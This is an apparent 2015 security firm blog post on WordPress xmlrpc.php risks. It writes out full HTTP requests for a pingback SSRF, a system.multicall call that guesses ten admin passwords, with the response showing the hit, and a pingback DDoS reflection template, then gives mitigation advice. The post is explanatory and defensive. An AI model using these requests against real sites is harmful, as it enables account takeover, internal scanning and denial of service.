XML-RPC and WordPress

2015.11.12
Alice, Special Cyber Service Team

title1

 XML-RPC is a remote procedure call over HTTP formatted with XML. WordPress exposes XML-RPC APIs via xmlrpc.php. Some of the APIs have been abused in various ways by attackers. This entry is about the security of the implementation of XML-RPC by WordPress.


 First, let's see a simple example of XML-RPC call. Below is an XML-RPC request and response that lists all the API methods supported by WordPress.

XML-RPC request:

POST /xmlrpc.php HTTP/1.1
Host: 192.168.128.167
Content-Type: text/xml
Content-Length: 95

<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
</methodCall>

XML-RPC response:

HTTP/1.1 200 OK
Date: Sun, 08 Nov 2015 13:12:19 GMT
Server: Apache/2.4.10 (Debian)
Connection: close
Content-Length: 4224
Vary: Accept-Encoding
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

 There are about 80 methods in the list above.

system.listMethods takes no argument. Other methods like wp.* used for WordPress administration require account information as arguments. In the XML-RPC specs, there are some header requirements to be followed by XML-RPC clients. WordPress doesn't conform to the requirements


 One of the most interesting vulnerabilities of xmlrpc.php is SSRF (Server-Side Request Forgery) attack against pingback.ping method which was fixed in WordPress 3.5.1. pingback.ping takes two arguments: sourceUri and targetUri.

 Below is an example.

POST /xmlrpc.php HTTP/1.1
Host: 192.168.128.167
Content-Type: text/xml
Content-Length: 255

<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://www.mbsd.jp/</string></value></param>
<param><value><string>http://192.168.128.167/?p=1</string></value></param>
</params>
</methodCall>

 The above call makes the XML-RPC server to send an HTTP request to http://www.mbsd.jp/ on behalf of the client. This led to SSRF because older versions of xmlrpc.php didn't strictly check the scheme and hostname of the sourceUri.

 An attacker could conduct port scanning on the internal network or read data from local files using file: scheme. There are tools to exploit this vulnerability. However, very few systems on the Internet are supposed to be affected by this now.

 This is a problem in the past.


 There are two other problems related to the features of WordPress that also affect the latest version of the product (4.3.1 as of this writing), one of which is brute force attack and the other is DDoS attack.

 Many APIs supported by WordPress require account information, and WordPress also supports calling multiple APIs at once via system.multicall method. This means that an attacker can check multiple combinations of ID/PW guesses against the correct one.

 Below is an example of system.multicall call that attempts 10 logins as admin at once.

XML-RPC request:

POST /xmlrpc.php HTTP/1.1
Host: 192.168.128.167
Content-Type: text/xml
Content-Length: 3160

<?xml version='1.0'?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value><array><data>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>0000</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getCategories</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>1111</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getCategories</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>2222</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getCategories</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>3333</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getCategories</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>4444</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>5555</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>6666</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>7777</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>8888</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
</struct></value>
<value><struct>
<member>
<name>params</name>
<value><array><data>
<value><string>admin</string></value>
<value><string>9999</string></value>
</data></array></value>
</member>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
</struct></value>
</data></array></value>
</param>
</params>
</methodCall>

XML-RPC response:

HTTP/1.1 200 OK
Date: Sun, 08 Nov 2015 16:29:31 GMT
Server: Apache/2.4.10 (Debian)
Connection: close
Content-Length: 2663
Vary: Accept-Encoding
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><array><data>
  <value><array><data>
  <value><struct>
  <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
  <member><name>url</name><value><string>http://192.168.128.167/</string></value></member>
  <member><name>blogid</name><value><string>1</string></value></member>
  <member><name>blogName</name><value><string>TITLE</string></value></member>
  <member><name>xmlrpc</name><value><string>http://192.168.128.167/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value>
</data></array></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

 w00t! admin's password is 9999.

 Attackers can attempt thousands of logins at once to be more efficient. According to research by Sucuri, soaring number of attacks leverage the method to conduct brute force attacks these days.

pingback.ping method can be used as a means of DDoS attacks. This is a kind of reflection attack like NTP reflection, which uses XML-RPC servers as reflectors to attack a victim. Below is an example.

<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://victim</string></value></param>
<param><value><string>http://reflector</string></value></param>
</params>
</methodCall>


 Exposing XML-RPC over the Internet is not safe from a security standpoint. I recommend disabling XML-RPC, if that is an option. In our web application tests, we often find WordPress websites that don't restrict access to xmlrpc.php or restrict it in a wrong way.

 Below are two examples of .htaccess you can find on Google.

Example 1:

<Files xmlrpc.php>
order deny,allow
deny from all
#allow from x.x.x.x
</Files>

Example 2:

RewriteRule ^xmlrpc\.php$ "http\:\/\/0\.0\.0\.0\/" [R=301,L]

 Unfortunately, the second one is wrong. You can easily bypass the pattern by accessing xmlrpc.php/ instead of xmlapc.php if PATH_INFO isn't disabled. You can also disable XML-RPC by changing the WordPress config.


 XML-RPC is only one of many aspects of WordPress security. You can set up a WordPress site in 5 minutes, but it takes much more time to secure it. Tools like WPScan could help, but there is no silver bullet.



References:

[1] XML-RPC Specification

http://xmlrpc.scripting.com/spec.html

[2] WordPress XMLRPC pingback additional issues

http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html

[3] Brute Force Amplification Attacks Against WordPress XMLRPC

https://blog.sucuri.net/2015/10/brute-force-amplification-attacks-against-wordpress-xmlrpc.html

[4] Wordpress "Pingback" DDoS Attacks

https://isc.sans.edu/forums/diary/Wordpress+Pingback+DDoS+Attacks/17801

[5] WPScan Vulnerability Database

https://wpvulndb.com/



ページトップにページトップへ


執筆者一覧 (Authors)


space

執筆者一覧 (Authors)


space

所在地

本店:

〒103-0013
東京都中央区日本橋人形町
1丁目14番8号 郵船水天宮前ビル6階
地図はコチラMapはコチラ

TEL : 03-5649-1961(代表)


赤坂オフィス:

〒107-0052
東京都港区赤坂2丁目17番7号
赤坂溜池タワー9階
地図はコチラMapはコチラ

TEL : 03-6861-5172

三井物産セキュアディレクション株式会社

MBSDロゴ

サイトマップ

所在地

本店:

〒103-0013
東京都中央区日本橋人形町
1丁目14番8号 郵船水天宮前ビル6階
地図はコチラMapはコチラ

TEL : 03-5649-1961(代表)


赤坂オフィス:

〒107-0052
東京都港区赤坂2丁目17番7号
赤坂溜池タワー9階
地図はコチラMapはコチラ

TEL : 03-6861-5172